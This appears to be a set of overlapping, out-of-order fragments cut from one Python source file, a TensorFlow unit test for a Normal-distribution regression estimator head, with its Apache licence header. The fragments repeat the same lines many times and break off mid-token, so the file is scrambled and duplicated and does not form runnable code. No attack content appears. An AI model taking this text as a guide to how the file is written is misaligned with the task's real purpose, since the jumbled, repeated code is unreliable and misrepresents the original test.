"\"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express",
"_assert_metrics from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_no_variables from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_summary_tags from tensorflow.python.client import session",
"np.log(sigma) return loss.mean() def actual_mean(logits): return logits[..., 0] def actual_stddev(logits): return softplus(logits[..., 1]",
"(z**2. + np.log(2. * np.pi)) + np.log(sigma) return loss.mean() def actual_mean(logits): return logits[...,",
"0.5 * (z**2. + np.log(2. * np.pi)) + np.log(sigma) return loss.mean() def actual_mean(logits):",
"required by applicable law or agreed to in writing, software # distributed under",
"mode=model_fn.ModeKeys.TRAIN, train_op_fn=head_lib.no_op_train_fn, logits=tflogits) self._assert_output_alternatives(model_fn_ops) _assert_summary_tags(self, [\"loss\"]) _assert_no_variables(self) loss = actual_loss(logits, labels) _assert_metrics(self, loss,",
"import nn_ops from tensorflow.python.ops.distributions import normal as normal_lib from tensorflow.python.platform import test class",
"from tensorflow.contrib.learn.python.learn.estimators import head as head_lib from tensorflow.contrib.learn.python.learn.estimators import model_fn from tensorflow.contrib.learn.python.learn.estimators.head_test import",
"atol=0.) expected_stddev = softplus(logits[..., 1] + scale_bias) self.assertAllClose( expected_stddev, head.distribution(tflogits).stddev().eval(), rtol=1e-6, atol=0.) #",
"applicable law or agreed to in writing, software # distributed under the License",
"expected_mean, head.distribution(tflogits).mean().eval(), rtol=1e-6, atol=0.) expected_stddev = softplus(logits[..., 1] + scale_bias) self.assertAllClose( expected_stddev, head.distribution(tflogits).stddev().eval(),",
"as head_lib from tensorflow.contrib.learn.python.learn.estimators import model_fn from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_metrics from tensorflow.contrib.learn.python.learn.estimators.head_test import",
"normal_lib from tensorflow.python.platform import test class EstimatorHeadDistributionRegressionTest(test.TestCase): def _assert_output_alternatives(self, model_fn_ops): self.assertEquals({ None: constants.ProblemType.LINEAR_REGRESSION",
"or agreed to in writing, software # distributed under the License is distributed",
"six from tensorflow.contrib.distributions.python.ops import estimator as estimator_lib from tensorflow.contrib.learn.python.learn.estimators import constants from tensorflow.contrib.learn.python.learn.estimators",
"make_distribution_fn, logits_dimension=2) labels = np.float32([[-1.], [0.], [1.]]) logits = np.float32([[0., -1], [1, 0.5],",
"Convert to tensor so we can index into head.distributions. tflogits = ops.convert_to_tensor(logits, name=\"logits\")",
"import head as head_lib from tensorflow.contrib.learn.python.learn.estimators import model_fn from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_metrics from",
"name=\"logits\") model_fn_ops = head.create_model_fn_ops( {}, labels=labels, mode=model_fn.ModeKeys.TRAIN, train_op_fn=head_lib.no_op_train_fn, logits=tflogits) self._assert_output_alternatives(model_fn_ops) _assert_summary_tags(self, [\"loss\"]) _assert_no_variables(self)",
"CONDITIONS OF ANY KIND, either express or implied. # See the License for",
"into head.distributions. tflogits = ops.convert_to_tensor(logits, name=\"logits\") model_fn_ops = head.create_model_fn_ops( {}, labels=labels, mode=model_fn.ModeKeys.TRAIN, train_op_fn=head_lib.no_op_train_fn,",
"under the Apache License, Version 2.0 (the \"License\"); # you may not use",
"writing, software # distributed under the License is distributed on an \"AS IS\"",
"Should have created only one distribution. self.assertEqual(1, len(head.distributions)) if __name__ == \"__main__\": test.main()",
"You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #",
"}, { k: v[0] for k, v in six.iteritems(model_fn_ops.output_alternatives) }) def testNormalLocScaleLogits(self): #",
"License. # You may obtain a copy of the License at # #",
"from __future__ import print_function import numpy as np import six from tensorflow.contrib.distributions.python.ops import",
"import session from tensorflow.python.framework import ops from tensorflow.python.ops import nn_ops from tensorflow.python.ops.distributions import",
"= np.squeeze(labels, -1) z = (labels - mu) / sigma loss = 0.5",
"compliance with the License. # You may obtain a copy of the License",
"1] + scale_bias) self.assertAllClose( expected_stddev, head.distribution(tflogits).stddev().eval(), rtol=1e-6, atol=0.) # Should have created only",
"test class EstimatorHeadDistributionRegressionTest(test.TestCase): def _assert_output_alternatives(self, model_fn_ops): self.assertEquals({ None: constants.ProblemType.LINEAR_REGRESSION }, { k: v[0]",
"softplus(logits[..., 1] + scale_bias) def make_distribution_fn(logits): return normal_lib.Normal( loc=logits[..., 0], scale=nn_ops.softplus(logits[..., 1] +",
"1]=0 implies scale=1. scale_bias = np.log(np.expm1(1.)) def softplus(x): return np.log1p(np.exp(x)) def actual_loss(logits, labels):",
"division from __future__ import print_function import numpy as np import six from tensorflow.contrib.distributions.python.ops",
"{ k: v[0] for k, v in six.iteritems(model_fn_ops.output_alternatives) }) def testNormalLocScaleLogits(self): # We",
"import _assert_summary_tags from tensorflow.python.client import session from tensorflow.python.framework import ops from tensorflow.python.ops import",
"= ops.convert_to_tensor(logits, name=\"logits\") model_fn_ops = head.create_model_fn_ops( {}, labels=labels, mode=model_fn.ModeKeys.TRAIN, train_op_fn=head_lib.no_op_train_fn, logits=tflogits) self._assert_output_alternatives(model_fn_ops) _assert_summary_tags(self,",
"of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable",
"None: constants.ProblemType.LINEAR_REGRESSION }, { k: v[0] for k, v in six.iteritems(model_fn_ops.output_alternatives) }) def",
"tensorflow.python.framework import ops from tensorflow.python.ops import nn_ops from tensorflow.python.ops.distributions import normal as normal_lib",
"= (labels - mu) / sigma loss = 0.5 * (z**2. + np.log(2.",
"model_fn from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_metrics from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_no_variables from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_summary_tags",
"return np.log1p(np.exp(x)) def actual_loss(logits, labels): mu = actual_mean(logits) sigma = actual_stddev(logits) labels =",
"head.create_model_fn_ops( {}, labels=labels, mode=model_fn.ModeKeys.TRAIN, train_op_fn=head_lib.no_op_train_fn, logits=tflogits) self._assert_output_alternatives(model_fn_ops) _assert_summary_tags(self, [\"loss\"]) _assert_no_variables(self) loss = actual_loss(logits,",
"np.squeeze(labels, -1) z = (labels - mu) / sigma loss = 0.5 *",
"0.5], [-1, 1]]) with ops.Graph().as_default(), session.Session(): # Convert to tensor so we can",
"= head.create_model_fn_ops( {}, labels=labels, mode=model_fn.ModeKeys.TRAIN, train_op_fn=head_lib.no_op_train_fn, logits=tflogits) self._assert_output_alternatives(model_fn_ops) _assert_summary_tags(self, [\"loss\"]) _assert_no_variables(self) loss =",
"not use this file except in compliance with the License. # You may",
"head = estimator_lib.estimator_head_distribution_regression( make_distribution_fn, logits_dimension=2) labels = np.float32([[-1.], [0.], [1.]]) logits = np.float32([[0.,",
"from tensorflow.python.client import session from tensorflow.python.framework import ops from tensorflow.python.ops import nn_ops from",
"1] + scale_bias)) head = estimator_lib.estimator_head_distribution_regression( make_distribution_fn, logits_dimension=2) labels = np.float32([[-1.], [0.], [1.]])",
"License, Version 2.0 (the \"License\"); # you may not use this file except",
"distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY",
"tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_no_variables from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_summary_tags from tensorflow.python.client import session from tensorflow.python.framework",
"from tensorflow.contrib.learn.python.learn.estimators import constants from tensorflow.contrib.learn.python.learn.estimators import head as head_lib from tensorflow.contrib.learn.python.learn.estimators import",
"scale_bias = np.log(np.expm1(1.)) def softplus(x): return np.log1p(np.exp(x)) def actual_loss(logits, labels): mu = actual_mean(logits)",
"will bias logits[..., 1] so that: logits[..., 1]=0 implies scale=1. scale_bias = np.log(np.expm1(1.))",
"# you may not use this file except in compliance with the License.",
"we verify the underlying distribution was correctly constructed. expected_mean = logits[..., 0] self.assertAllClose(",
"agreed to in writing, software # distributed under the License is distributed on",
"EstimatorHeadDistributionRegressionTest(test.TestCase): def _assert_output_alternatives(self, model_fn_ops): self.assertEquals({ None: constants.ProblemType.LINEAR_REGRESSION }, { k: v[0] for k,",
"_assert_output_alternatives(self, model_fn_ops): self.assertEquals({ None: constants.ProblemType.LINEAR_REGRESSION }, { k: v[0] for k, v in",
"(the \"License\"); # you may not use this file except in compliance with",
"verify the underlying distribution was correctly constructed. expected_mean = logits[..., 0] self.assertAllClose( expected_mean,",
"= np.float32([[0., -1], [1, 0.5], [-1, 1]]) with ops.Graph().as_default(), session.Session(): # Convert to",
"= actual_mean(logits) sigma = actual_stddev(logits) labels = np.squeeze(labels, -1) z = (labels -",
"atol=0.) # Should have created only one distribution. self.assertEqual(1, len(head.distributions)) if __name__ ==",
"# Unless required by applicable law or agreed to in writing, software #",
"-1) z = (labels - mu) / sigma loss = 0.5 * (z**2.",
"rtol=1e-6, atol=0.) expected_stddev = softplus(logits[..., 1] + scale_bias) self.assertAllClose( expected_stddev, head.distribution(tflogits).stddev().eval(), rtol=1e-6, atol=0.)",
"by applicable law or agreed to in writing, software # distributed under the",
"logits[..., 0] def actual_stddev(logits): return softplus(logits[..., 1] + scale_bias) def make_distribution_fn(logits): return normal_lib.Normal(",
"copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by",
"distribution was correctly constructed. expected_mean = logits[..., 0] self.assertAllClose( expected_mean, head.distribution(tflogits).mean().eval(), rtol=1e-6, atol=0.)",
"tensorflow.python.client import session from tensorflow.python.framework import ops from tensorflow.python.ops import nn_ops from tensorflow.python.ops.distributions",
"_assert_summary_tags from tensorflow.python.client import session from tensorflow.python.framework import ops from tensorflow.python.ops import nn_ops",
"index into head.distributions. tflogits = ops.convert_to_tensor(logits, name=\"logits\") model_fn_ops = head.create_model_fn_ops( {}, labels=labels, mode=model_fn.ModeKeys.TRAIN,",
"self.assertAllClose( expected_stddev, head.distribution(tflogits).stddev().eval(), rtol=1e-6, atol=0.) # Should have created only one distribution. self.assertEqual(1,",
"the License. # ============================================================================== \"\"\"Tests for estimator.py.\"\"\" from __future__ import absolute_import from __future__",
"file except in compliance with the License. # You may obtain a copy",
"def softplus(x): return np.log1p(np.exp(x)) def actual_loss(logits, labels): mu = actual_mean(logits) sigma = actual_stddev(logits)",
"# We will bias logits[..., 1] so that: logits[..., 1]=0 implies scale=1. scale_bias",
"from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_summary_tags from tensorflow.python.client import session from tensorflow.python.framework import ops from",
"* np.pi)) + np.log(sigma) return loss.mean() def actual_mean(logits): return logits[..., 0] def actual_stddev(logits):",
"tensor so we can index into head.distributions. tflogits = ops.convert_to_tensor(logits, name=\"logits\") model_fn_ops =",
"import absolute_import from __future__ import division from __future__ import print_function import numpy as",
"License for the specific language governing permissions and # limitations under the License.",
"loss, {\"loss\": loss}, model_fn_ops) # Now we verify the underlying distribution was correctly",
"+ scale_bias) self.assertAllClose( expected_stddev, head.distribution(tflogits).stddev().eval(), rtol=1e-6, atol=0.) # Should have created only one",
"Now we verify the underlying distribution was correctly constructed. expected_mean = logits[..., 0]",
"to in writing, software # distributed under the License is distributed on an",
"we can index into head.distributions. tflogits = ops.convert_to_tensor(logits, name=\"logits\") model_fn_ops = head.create_model_fn_ops( {},",
"for estimator.py.\"\"\" from __future__ import absolute_import from __future__ import division from __future__ import",
"implied. # See the License for the specific language governing permissions and #",
"numpy as np import six from tensorflow.contrib.distributions.python.ops import estimator as estimator_lib from tensorflow.contrib.learn.python.learn.estimators",
"six.iteritems(model_fn_ops.output_alternatives) }) def testNormalLocScaleLogits(self): # We will bias logits[..., 1] so that: logits[...,",
"\"License\"); # you may not use this file except in compliance with the",
"Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the \"License\");",
"obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless",
"1]]) with ops.Graph().as_default(), session.Session(): # Convert to tensor so we can index into",
"model_fn_ops) # Now we verify the underlying distribution was correctly constructed. expected_mean =",
"and # limitations under the License. # ============================================================================== \"\"\"Tests for estimator.py.\"\"\" from __future__",
"scale_bias) def make_distribution_fn(logits): return normal_lib.Normal( loc=logits[..., 0], scale=nn_ops.softplus(logits[..., 1] + scale_bias)) head =",
"softplus(logits[..., 1] + scale_bias) self.assertAllClose( expected_stddev, head.distribution(tflogits).stddev().eval(), rtol=1e-6, atol=0.) # Should have created",
"return softplus(logits[..., 1] + scale_bias) def make_distribution_fn(logits): return normal_lib.Normal( loc=logits[..., 0], scale=nn_ops.softplus(logits[..., 1]",
"}) def testNormalLocScaleLogits(self): # We will bias logits[..., 1] so that: logits[..., 1]=0",
"to tensor so we can index into head.distributions. tflogits = ops.convert_to_tensor(logits, name=\"logits\") model_fn_ops",
"model_fn_ops = head.create_model_fn_ops( {}, labels=labels, mode=model_fn.ModeKeys.TRAIN, train_op_fn=head_lib.no_op_train_fn, logits=tflogits) self._assert_output_alternatives(model_fn_ops) _assert_summary_tags(self, [\"loss\"]) _assert_no_variables(self) loss",
"[\"loss\"]) _assert_no_variables(self) loss = actual_loss(logits, labels) _assert_metrics(self, loss, {\"loss\": loss}, model_fn_ops) # Now",
"{\"loss\": loss}, model_fn_ops) # Now we verify the underlying distribution was correctly constructed.",
"in six.iteritems(model_fn_ops.output_alternatives) }) def testNormalLocScaleLogits(self): # We will bias logits[..., 1] so that:",
"or implied. # See the License for the specific language governing permissions and",
"head.distribution(tflogits).mean().eval(), rtol=1e-6, atol=0.) expected_stddev = softplus(logits[..., 1] + scale_bias) self.assertAllClose( expected_stddev, head.distribution(tflogits).stddev().eval(), rtol=1e-6,",
"session from tensorflow.python.framework import ops from tensorflow.python.ops import nn_ops from tensorflow.python.ops.distributions import normal",
"Apache License, Version 2.0 (the \"License\"); # you may not use this file",
"import ops from tensorflow.python.ops import nn_ops from tensorflow.python.ops.distributions import normal as normal_lib from",
"OR CONDITIONS OF ANY KIND, either express or implied. # See the License",
"may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #",
"permissions and # limitations under the License. # ============================================================================== \"\"\"Tests for estimator.py.\"\"\" from",
"http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing,",
"import _assert_metrics from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_no_variables from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_summary_tags from tensorflow.python.client import",
"in writing, software # distributed under the License is distributed on an \"AS",
"head.distribution(tflogits).stddev().eval(), rtol=1e-6, atol=0.) # Should have created only one distribution. self.assertEqual(1, len(head.distributions)) if",
"nn_ops from tensorflow.python.ops.distributions import normal as normal_lib from tensorflow.python.platform import test class EstimatorHeadDistributionRegressionTest(test.TestCase):",
"# See the License for the specific language governing permissions and # limitations",
"the License is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR",
"logits[..., 0] self.assertAllClose( expected_mean, head.distribution(tflogits).mean().eval(), rtol=1e-6, atol=0.) expected_stddev = softplus(logits[..., 1] + scale_bias)",
"expected_stddev, head.distribution(tflogits).stddev().eval(), rtol=1e-6, atol=0.) # Should have created only one distribution. self.assertEqual(1, len(head.distributions))",
"print_function import numpy as np import six from tensorflow.contrib.distributions.python.ops import estimator as estimator_lib",
"rtol=1e-6, atol=0.) # Should have created only one distribution. self.assertEqual(1, len(head.distributions)) if __name__",
"from tensorflow.python.framework import ops from tensorflow.python.ops import nn_ops from tensorflow.python.ops.distributions import normal as",
"= logits[..., 0] self.assertAllClose( expected_mean, head.distribution(tflogits).mean().eval(), rtol=1e-6, atol=0.) expected_stddev = softplus(logits[..., 1] +",
"the Apache License, Version 2.0 (the \"License\"); # you may not use this",
"you may not use this file except in compliance with the License. #",
"tensorflow.python.ops.distributions import normal as normal_lib from tensorflow.python.platform import test class EstimatorHeadDistributionRegressionTest(test.TestCase): def _assert_output_alternatives(self,",
"scale_bias)) head = estimator_lib.estimator_head_distribution_regression( make_distribution_fn, logits_dimension=2) labels = np.float32([[-1.], [0.], [1.]]) logits =",
"labels = np.float32([[-1.], [0.], [1.]]) logits = np.float32([[0., -1], [1, 0.5], [-1, 1]])",
"np.float32([[0., -1], [1, 0.5], [-1, 1]]) with ops.Graph().as_default(), session.Session(): # Convert to tensor",
"ops.Graph().as_default(), session.Session(): # Convert to tensor so we can index into head.distributions. tflogits",
"use this file except in compliance with the License. # You may obtain",
"np.log1p(np.exp(x)) def actual_loss(logits, labels): mu = actual_mean(logits) sigma = actual_stddev(logits) labels = np.squeeze(labels,",
"bias logits[..., 1] so that: logits[..., 1]=0 implies scale=1. scale_bias = np.log(np.expm1(1.)) def",
"+ np.log(sigma) return loss.mean() def actual_mean(logits): return logits[..., 0] def actual_stddev(logits): return softplus(logits[...,",
"Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0",
"# Licensed under the Apache License, Version 2.0 (the \"License\"); # you may",
"============================================================================== \"\"\"Tests for estimator.py.\"\"\" from __future__ import absolute_import from __future__ import division from",
"We will bias logits[..., 1] so that: logits[..., 1]=0 implies scale=1. scale_bias =",
"tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_summary_tags from tensorflow.python.client import session from tensorflow.python.framework import ops from tensorflow.python.ops",
"governing permissions and # limitations under the License. # ============================================================================== \"\"\"Tests for estimator.py.\"\"\"",
"2.0 (the \"License\"); # you may not use this file except in compliance",
"for the specific language governing permissions and # limitations under the License. #",
"0] self.assertAllClose( expected_mean, head.distribution(tflogits).mean().eval(), rtol=1e-6, atol=0.) expected_stddev = softplus(logits[..., 1] + scale_bias) self.assertAllClose(",
"can index into head.distributions. tflogits = ops.convert_to_tensor(logits, name=\"logits\") model_fn_ops = head.create_model_fn_ops( {}, labels=labels,",
"WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the",
"TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version",
"head_lib from tensorflow.contrib.learn.python.learn.estimators import model_fn from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_metrics from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_no_variables",
"def testNormalLocScaleLogits(self): # We will bias logits[..., 1] so that: logits[..., 1]=0 implies",
"_assert_no_variables from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_summary_tags from tensorflow.python.client import session from tensorflow.python.framework import ops",
"# # Unless required by applicable law or agreed to in writing, software",
"language governing permissions and # limitations under the License. # ============================================================================== \"\"\"Tests for",
"ops.convert_to_tensor(logits, name=\"logits\") model_fn_ops = head.create_model_fn_ops( {}, labels=labels, mode=model_fn.ModeKeys.TRAIN, train_op_fn=head_lib.no_op_train_fn, logits=tflogits) self._assert_output_alternatives(model_fn_ops) _assert_summary_tags(self, [\"loss\"])",
"mu = actual_mean(logits) sigma = actual_stddev(logits) labels = np.squeeze(labels, -1) z = (labels",
"express or implied. # See the License for the specific language governing permissions",
"import _assert_no_variables from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_summary_tags from tensorflow.python.client import session from tensorflow.python.framework import",
"1] + scale_bias) def make_distribution_fn(logits): return normal_lib.Normal( loc=logits[..., 0], scale=nn_ops.softplus(logits[..., 1] + scale_bias))",
"import model_fn from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_metrics from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_no_variables from tensorflow.contrib.learn.python.learn.estimators.head_test import",
"constants.ProblemType.LINEAR_REGRESSION }, { k: v[0] for k, v in six.iteritems(model_fn_ops.output_alternatives) }) def testNormalLocScaleLogits(self):",
"was correctly constructed. expected_mean = logits[..., 0] self.assertAllClose( expected_mean, head.distribution(tflogits).mean().eval(), rtol=1e-6, atol=0.) expected_stddev",
"head as head_lib from tensorflow.contrib.learn.python.learn.estimators import model_fn from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_metrics from tensorflow.contrib.learn.python.learn.estimators.head_test",
"+ scale_bias) def make_distribution_fn(logits): return normal_lib.Normal( loc=logits[..., 0], scale=nn_ops.softplus(logits[..., 1] + scale_bias)) head",
"as np import six from tensorflow.contrib.distributions.python.ops import estimator as estimator_lib from tensorflow.contrib.learn.python.learn.estimators import",
"either express or implied. # See the License for the specific language governing",
"limitations under the License. # ============================================================================== \"\"\"Tests for estimator.py.\"\"\" from __future__ import absolute_import",
"labels) _assert_metrics(self, loss, {\"loss\": loss}, model_fn_ops) # Now we verify the underlying distribution",
"from tensorflow.contrib.distributions.python.ops import estimator as estimator_lib from tensorflow.contrib.learn.python.learn.estimators import constants from tensorflow.contrib.learn.python.learn.estimators import",
"labels): mu = actual_mean(logits) sigma = actual_stddev(logits) labels = np.squeeze(labels, -1) z =",
"logits_dimension=2) labels = np.float32([[-1.], [0.], [1.]]) logits = np.float32([[0., -1], [1, 0.5], [-1,",
"Licensed under the Apache License, Version 2.0 (the \"License\"); # you may not",
"an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either",
"import print_function import numpy as np import six from tensorflow.contrib.distributions.python.ops import estimator as",
"from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_metrics from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_no_variables from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_summary_tags from",
"tflogits = ops.convert_to_tensor(logits, name=\"logits\") model_fn_ops = head.create_model_fn_ops( {}, labels=labels, mode=model_fn.ModeKeys.TRAIN, train_op_fn=head_lib.no_op_train_fn, logits=tflogits) self._assert_output_alternatives(model_fn_ops)",
"= estimator_lib.estimator_head_distribution_regression( make_distribution_fn, logits_dimension=2) labels = np.float32([[-1.], [0.], [1.]]) logits = np.float32([[0., -1],",
"underlying distribution was correctly constructed. expected_mean = logits[..., 0] self.assertAllClose( expected_mean, head.distribution(tflogits).mean().eval(), rtol=1e-6,",
"the License. # You may obtain a copy of the License at #",
"class EstimatorHeadDistributionRegressionTest(test.TestCase): def _assert_output_alternatives(self, model_fn_ops): self.assertEquals({ None: constants.ProblemType.LINEAR_REGRESSION }, { k: v[0] for",
"np.log(np.expm1(1.)) def softplus(x): return np.log1p(np.exp(x)) def actual_loss(logits, labels): mu = actual_mean(logits) sigma =",
"License. # ============================================================================== \"\"\"Tests for estimator.py.\"\"\" from __future__ import absolute_import from __future__ import",
"z = (labels - mu) / sigma loss = 0.5 * (z**2. +",
"# distributed under the License is distributed on an \"AS IS\" BASIS, #",
"(labels - mu) / sigma loss = 0.5 * (z**2. + np.log(2. *",
"is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF",
"v in six.iteritems(model_fn_ops.output_alternatives) }) def testNormalLocScaleLogits(self): # We will bias logits[..., 1] so",
"2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache",
"sigma = actual_stddev(logits) labels = np.squeeze(labels, -1) z = (labels - mu) /",
"head.distributions. tflogits = ops.convert_to_tensor(logits, name=\"logits\") model_fn_ops = head.create_model_fn_ops( {}, labels=labels, mode=model_fn.ModeKeys.TRAIN, train_op_fn=head_lib.no_op_train_fn, logits=tflogits)",
"scale_bias) self.assertAllClose( expected_stddev, head.distribution(tflogits).stddev().eval(), rtol=1e-6, atol=0.) # Should have created only one distribution.",
"from __future__ import absolute_import from __future__ import division from __future__ import print_function import",
"= np.log(np.expm1(1.)) def softplus(x): return np.log1p(np.exp(x)) def actual_loss(logits, labels): mu = actual_mean(logits) sigma",
"def actual_stddev(logits): return softplus(logits[..., 1] + scale_bias) def make_distribution_fn(logits): return normal_lib.Normal( loc=logits[..., 0],",
"loss = 0.5 * (z**2. + np.log(2. * np.pi)) + np.log(sigma) return loss.mean()",
"with the License. # You may obtain a copy of the License at",
"testNormalLocScaleLogits(self): # We will bias logits[..., 1] so that: logits[..., 1]=0 implies scale=1.",
"self.assertAllClose( expected_mean, head.distribution(tflogits).mean().eval(), rtol=1e-6, atol=0.) expected_stddev = softplus(logits[..., 1] + scale_bias) self.assertAllClose( expected_stddev,",
"tensorflow.python.platform import test class EstimatorHeadDistributionRegressionTest(test.TestCase): def _assert_output_alternatives(self, model_fn_ops): self.assertEquals({ None: constants.ProblemType.LINEAR_REGRESSION }, {",
"# limitations under the License. # ============================================================================== \"\"\"Tests for estimator.py.\"\"\" from __future__ import",
"that: logits[..., 1]=0 implies scale=1. scale_bias = np.log(np.expm1(1.)) def softplus(x): return np.log1p(np.exp(x)) def",
"for k, v in six.iteritems(model_fn_ops.output_alternatives) }) def testNormalLocScaleLogits(self): # We will bias logits[...,",
"# # Licensed under the Apache License, Version 2.0 (the \"License\"); # you",
"- mu) / sigma loss = 0.5 * (z**2. + np.log(2. * np.pi))",
"scale=nn_ops.softplus(logits[..., 1] + scale_bias)) head = estimator_lib.estimator_head_distribution_regression( make_distribution_fn, logits_dimension=2) labels = np.float32([[-1.], [0.],",
"expected_stddev = softplus(logits[..., 1] + scale_bias) self.assertAllClose( expected_stddev, head.distribution(tflogits).stddev().eval(), rtol=1e-6, atol=0.) # Should",
"loss = actual_loss(logits, labels) _assert_metrics(self, loss, {\"loss\": loss}, model_fn_ops) # Now we verify",
"law or agreed to in writing, software # distributed under the License is",
"the License for the specific language governing permissions and # limitations under the",
"import numpy as np import six from tensorflow.contrib.distributions.python.ops import estimator as estimator_lib from",
"on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,",
"= actual_loss(logits, labels) _assert_metrics(self, loss, {\"loss\": loss}, model_fn_ops) # Now we verify the",
"labels = np.squeeze(labels, -1) z = (labels - mu) / sigma loss =",
"np.log(2. * np.pi)) + np.log(sigma) return loss.mean() def actual_mean(logits): return logits[..., 0] def",
"np.float32([[-1.], [0.], [1.]]) logits = np.float32([[0., -1], [1, 0.5], [-1, 1]]) with ops.Graph().as_default(),",
"make_distribution_fn(logits): return normal_lib.Normal( loc=logits[..., 0], scale=nn_ops.softplus(logits[..., 1] + scale_bias)) head = estimator_lib.estimator_head_distribution_regression( make_distribution_fn,",
"from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_no_variables from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_summary_tags from tensorflow.python.client import session from",
"absolute_import from __future__ import division from __future__ import print_function import numpy as np",
"with ops.Graph().as_default(), session.Session(): # Convert to tensor so we can index into head.distributions.",
"Reserved. # # Licensed under the Apache License, Version 2.0 (the \"License\"); #",
"in compliance with the License. # You may obtain a copy of the",
"License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or",
"# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #",
"[0.], [1.]]) logits = np.float32([[0., -1], [1, 0.5], [-1, 1]]) with ops.Graph().as_default(), session.Session():",
"k, v in six.iteritems(model_fn_ops.output_alternatives) }) def testNormalLocScaleLogits(self): # We will bias logits[..., 1]",
"at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed",
"tensorflow.contrib.learn.python.learn.estimators import head as head_lib from tensorflow.contrib.learn.python.learn.estimators import model_fn from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_metrics",
"return loss.mean() def actual_mean(logits): return logits[..., 0] def actual_stddev(logits): return softplus(logits[..., 1] +",
"The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License,",
"# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under",
"tensorflow.contrib.learn.python.learn.estimators import model_fn from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_metrics from tensorflow.contrib.learn.python.learn.estimators.head_test import _assert_no_variables from tensorflow.contrib.learn.python.learn.estimators.head_test",
"See the License for the specific language governing permissions and # limitations under",
"BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.",
"expected_mean = logits[..., 0] self.assertAllClose( expected_mean, head.distribution(tflogits).mean().eval(), rtol=1e-6, atol=0.) expected_stddev = softplus(logits[..., 1]",
"def _assert_output_alternatives(self, model_fn_ops): self.assertEquals({ None: constants.ProblemType.LINEAR_REGRESSION }, { k: v[0] for k, v",
"a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required",
"# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in",
"* (z**2. + np.log(2. * np.pi)) + np.log(sigma) return loss.mean() def actual_mean(logits): return",
"# Convert to tensor so we can index into head.distributions. tflogits = ops.convert_to_tensor(logits,",
"self.assertEquals({ None: constants.ProblemType.LINEAR_REGRESSION }, { k: v[0] for k, v in six.iteritems(model_fn_ops.output_alternatives) })",
"-1], [1, 0.5], [-1, 1]]) with ops.Graph().as_default(), session.Session(): # Convert to tensor so",
"import estimator as estimator_lib from tensorflow.contrib.learn.python.learn.estimators import constants from tensorflow.contrib.learn.python.learn.estimators import head as",
"_assert_summary_tags(self, [\"loss\"]) _assert_no_variables(self) loss = actual_loss(logits, labels) _assert_metrics(self, loss, {\"loss\": loss}, model_fn_ops) #",
"scale=1. scale_bias = np.log(np.expm1(1.)) def softplus(x): return np.log1p(np.exp(x)) def actual_loss(logits, labels): mu =",
"estimator as estimator_lib from tensorflow.contrib.learn.python.learn.estimators import constants from tensorflow.contrib.learn.python.learn.estimators import head as head_lib",
"constants from tensorflow.contrib.learn.python.learn.estimators import head as head_lib from tensorflow.contrib.learn.python.learn.estimators import model_fn from tensorflow.contrib.learn.python.learn.estimators.head_test",
"import six from tensorflow.contrib.distributions.python.ops import estimator as estimator_lib from tensorflow.contrib.learn.python.learn.estimators import constants from",
"0], scale=nn_ops.softplus(logits[..., 1] + scale_bias)) head = estimator_lib.estimator_head_distribution_regression( make_distribution_fn, logits_dimension=2) labels = np.float32([[-1.],",
"from __future__ import division from __future__ import print_function import numpy as np import",
"Version 2.0 (the \"License\"); # you may not use this file except in",
"actual_loss(logits, labels): mu = actual_mean(logits) sigma = actual_stddev(logits) labels = np.squeeze(labels, -1) z",
"except in compliance with the License. # You may obtain a copy of",
